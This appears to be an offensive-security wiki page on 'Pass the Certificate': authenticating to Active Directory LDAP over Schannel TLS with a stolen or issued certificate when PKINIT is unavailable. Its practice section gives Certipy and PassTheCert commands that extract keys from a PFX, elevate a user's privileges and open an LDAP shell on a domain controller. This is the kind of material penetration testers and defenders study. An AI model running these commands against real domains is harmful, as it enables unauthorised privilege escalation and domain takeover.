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Pass the Certificate ​

This technique extends the notion of Pass the Certificate, thus dubbed by myself, @_nwodtuhs, in a Twitter thread about AD CS and PKINIT here. Even if both techniques share the same name and the same concept, the authentication method is different.

Theory ​

Sometimes, Domain Controllers do not support PKINIT. This can be because their certificates do not have the Smart Card Logon EKU. Most of the time, domain controllers return KDC_ERR_PADATA_TYPE_NOSUPP error when the EKU is missing. Fortunately, several protocols — including LDAP — support Schannel, thus authentication through TLS. As the term "schannel authentication" is derived from the Schannel SSP (Security Service Provider) which is the Microsoft SSL/TLS implementation in Windows, it is important to note that schannel authentication is a SSL/TLS client authentication.

  • Schannel authentication relies on TLS so it is, by design, not subject to channel binding, as the authentication is borne by TLS itself.
  • Schannel is not subject to LDAP signing either as the bind is performed after a StartTLS command when used on the LDAP TCP port.

Practice ​

Tools like PassTheCert (python version) and Certipy can be used to authenticate with the certificate via Schannel against LDAP.

bash
# If you use Certipy to retrieve certificates, you can extract key and cert from the pfx by using:
$ certipy cert -pfx user.pfx -nokey -out user.crt
$ certipy cert -pfx user.pfx -nocert -out user.key

# elevate a user (it assumes that the domain account for which the certificate was issued, holds privileges to elevate user)
passthecert.py -action modify_user -crt "$CERT_FILE" -key "$KEY_FILE" -domain "$DOMAIN" -dc-ip "$DC_IP" -target "$USER" -elevate

# spawn a LDAP shell
passthecert.py -action ldap-shell -crt "$CERT_FILE" -key "$KEY_FILE" -domain "$DOMAIN" -dc-ip "$DC_IP"
certipy auth -pfx -dc-ip "$DC_IP" -ldap-shell

Resources ​

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

Certified Pre-Owned (pdf)

https://posts.specterops.io/certified-pre-owned-d95910965cd2

https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d

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